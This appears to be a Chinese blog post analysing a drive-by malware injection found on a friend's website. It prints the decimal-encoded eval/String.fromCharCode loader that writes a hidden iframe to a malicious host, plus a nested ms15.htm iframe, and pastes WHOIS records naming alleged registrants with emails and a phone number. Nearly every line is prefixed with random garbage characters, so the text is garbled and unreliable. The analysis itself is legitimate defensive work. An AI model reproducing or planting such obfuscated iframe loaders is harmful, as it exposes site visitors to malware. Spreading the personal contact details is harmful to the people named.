首发在我的博客里面，
Z V/g_i # 1b7 Q-elG http://www.areway.cn/?p=175 F6{Q1DqI sEb*GF*.V O8*yho 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
_Pw5n
mH c \!)1n[N <script>t=’60,105,102,114,97,109,101,
R LVz "= 32,115,114,99,61,104,116,116,112,58,47,47,
= b3<}] 102,114,101,101,46,117,45,117,117,117,46,99,
sVS),9\} 110,47,101,114,114,111,114,46,104,116,109,
E_xCRfw_i] 32,119,105,100,116,104,61,49,48,48,32,104,
0#sf,ja> 101,105,103,104,116,61,48,62,60,47,105,102,
UnTvot6~ 114,97,109,101,62′;
x50ZwV&j t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
F @!9 rl' ?Ql<s8 <script>t=’60,105,102,114,97,109,101,32,115,
z}$!B.) 114,99,61,104,116,116,112,58,47,47,102,114,
@vi;P ^1! 101,101,46,117,45,117,117,117,46,99,110,47,
NW*$+u%/R 101,114,114,111,114,46,104,116,109,32,119,
x]"N :t 105,100,116,104,61,49,48,48,32,104,101,105,
0@ jhNtL 103,104,116,61,48,62,60,47,105,102,114,97,
U7xQ 5lph 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
%vWh1- document.write(t);</script>
om0g'Qa >@|XY< <html xmlns=”
y(6*)~Dh http://www.w3.org/1999/xhtml & ~N@M!`Dn “>
$gcC}tX <head>
)O6_9f_ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
uWr vkLGN <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
u85Uy
yN <title>首页 - 爱生活家庭网
^1+=HdN, x)2ZbIDB:" 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\ci[<CP 转换字符串后的大概内容是（谁点击后果自付）：
1NU@k6UHl <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
\yo)oIi[p :8Ql (I 查询玉米u-uuu.cn的详细信息：
d j:6c@n Domain Name: u-uuu.cn
idP2G|Z ROID: 20070901s10001s64972306-cn
8CGj I?j Domain Status: ok
g 5hMZPOmP Registrant Organization: 王雷
I(0 *cWO Registrant Name: 王雷
uU`Mq8) R Administrative Email:
czlovexs@126.com l%xjCuuhU Sponsoring Registrar: 北京万网志成科技有限公司
l 1Ns~ Name Server:ns.yovole.com
j |:{ B Name Server:ns1.yovole.com
CW;=q[+w Registration Date: 2007-09-01 17:54
$r/tVu2!W Expiration Date: 2008-09-01 17:54
r| 0wIpi6Q 最后PING了一下地址 都没有什么….
[f@[ gE 47 ^R 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
aiwKkf`\ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
P4 dh P-t <script language=”javascript” src=”
]c$)0O\O http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script C \5"Kb >
H6%%n
X 这个玉米应该有可能是木马作者的：
S,2{^X foafau.info的详细信息：
bZz B\FB~ Access to INFO WHOIS information is provided to assist persons in
|$.`4h? determining the contents of a domain name registration record in the
2:Q2w3 Xe Afilias registry database. The data in this record is provided by
e "ur+7 Afilias Limited for informational purposes only, and Afilias does not
`l`)Cs;a guarantee its accuracy. This service is intended only for query-based
{G4{4D } access. You agree that you will use this data only for lawful purposes
-}Q^A_xK and that, under no circumstances will you use this data to: (a) allow,
qK12: enable, or otherwise support the transmission by e-mail, telephone, or
je^=g nq facsimile of mass unsolicited, commercial advertising or solicitations
$Z { Xt* to entities other than the data recipient’s own existing customers; or
9w( Wtw' (b) enable high volume, automated, electronic processes that send
T9O3$1eqfo queries or data to the systems of Registry Operator, a Registrar, or
o[E|xw Afilias except as reasonably necessary to register domain names or
zDx*R3% modify existing registrations. All rights reserved. Afilias reserves
};s8xGW:k3 the right to modify these terms at any time. By submitting this query,
7xy[; you agree to abide by this policy.
1;N5@0%p Domain ID:D22418703-LRMS
`KUl
XS( Domain Name:FOAFAU.INFO
1|/]bffg!c Created On:20-Nov-2007 16:05:42 UTC
iF'qaqHWY4 Last Updated On:20-Nov-2007 16:05:44 UTC
!1cVg
ls| Expiration Date:20-Nov-2008 16:05:42 UTC
tg' 2 v/ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
`78) |a*R. Status:CLIENT DELETE PROHIBITED
[5sa1$n96G Status:CLIENT RENEW PROHIBITED
S K G!DKQ Status:CLIENT TRANSFER PROHIBITED
%Y*]eLT> Status:CLIENT UPDATE PROHIBITED
qD<\U Status:TRANSFER PROHIBITED
wj#A#[e Registrant ID:GODA-040110615
LyA}Nd]pyq Registrant Name:liu hong
o!>h
Q#h Registrant Organization:
^
woCwW8n Registrant Street1:beijing
pL ea 4 Registrant Street2:
wwD?i.3 Registrant Street3:
P\2UIAPa\b Registrant City:beijing
IIIP <nyc Registrant State/Province:
=E10j.r Registrant Postal Code:100000
{m7 >9{` Registrant Country:CN
" `&1"* Registrant Phone:+86.860108888777
b?{ \t; Registrant Phone Ext.:
?kKr/f4N Registrant FAX:
U>=&
2Z2? Registrant FAX Ext.:
Z_ }[hz$ Registrant Email:bbbshiji@163.com
X|Z2"*;b` Admin ID:GODA-240110615
(nLT 8{>0 Admin Name:liu hong
`M.\ D Admin Organization:
t,vj)|: Admin Street1:beijing
Y+0HC2(o Admin Street2:
<9jN4hV Admin Street3:
1xzOD@=dI Admin City:beijing
n/jZi54gO Admin State/Province:
2 E*h,Mo Admin Postal Code:100000
o+I'nFtnI Admin Country:CN
sxFkpf_h Admin Phone:+86.860108888777
IFfB3{J Admin Phone Ext.:
U+wfq%Fz Admin FAX:
$F/Uk;*d! Admin FAX Ext.:
}10ZPaHjl+ Admin Email:bbbshiji@163.com
0$A7"^] Billing ID:GODA-340110615
+JrbC/& Billing Name:liu hong
(n 0h#% Billing Organization:
mcqLN 5 Billing Street1:beijing
.*W_;F o Billing Street2:
S @[B?sNj Billing Street3:
1<TB{}b
Z Billing City:beijing
/<-@8CC< Billing State/Province:
@ dx$&;w Billing Postal Code:100000
C.Ty\@U Billing Country:CN
m6
@,J?X Billing Phone:+86.860108888777
z6>Rv9f Billing Phone Ext.:
J.^%VnrFO9 Billing FAX:
_ m2p>(N| Billing FAX Ext.:
AIX?840V Billing Email:bbbshiji@163.com
l11 +sqg Tech ID:GODA-140110615
$ >=?'wr Tech Name:liu hong
1}Mdo &:t Tech Organization:
fA{t\ Tech Street1:beijing
.tH[A[/1 a Tech Street2:
Tj
v)jD Tech Street3:
]mSkjK w Tech City:beijing
t],5{UF Tech State/Province:
Z /~7N9?m( Tech Postal Code:100000
cH>3|B*y Tech Country:CN
yON";|*\m Tech Phone:+86.860108888777
nkii0YB! Tech Phone Ext.:
8^>qzaf
8 Tech FAX:
`D~wY^q{ Tech FAX Ext.:
E/IoYuB Tech Email:bbbshiji@163.com
+ xG Name Server:NS27.DOMAINCONTROL.COM
Kp)H>~cL Name Server:NS28.DOMAINCONTROL.COM
l PO +dm Name Server:
u EX+j Name Server:
?&r t)/DV, Name Server:
WO ]9\"|y Name Server:
A aX][2y8 Name Server:
)o%sN'U,1 Name Server:
;r. 0=Uo9] Name Server:
DL]\dD Name Server:
>3&Oe Name Server:
?@YABl Name Server:
S?K x: ] Name Server:
%.[jz,;) `<x(( @ # 接着下载每个文件里面的代码：
~us1Df0bp 一步一步看..
' zz ^ !@ 
%Z]c[V. 
b"7L
;J5| 
PRQEk.C 
6#za\ [ 
yHNx,ra 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
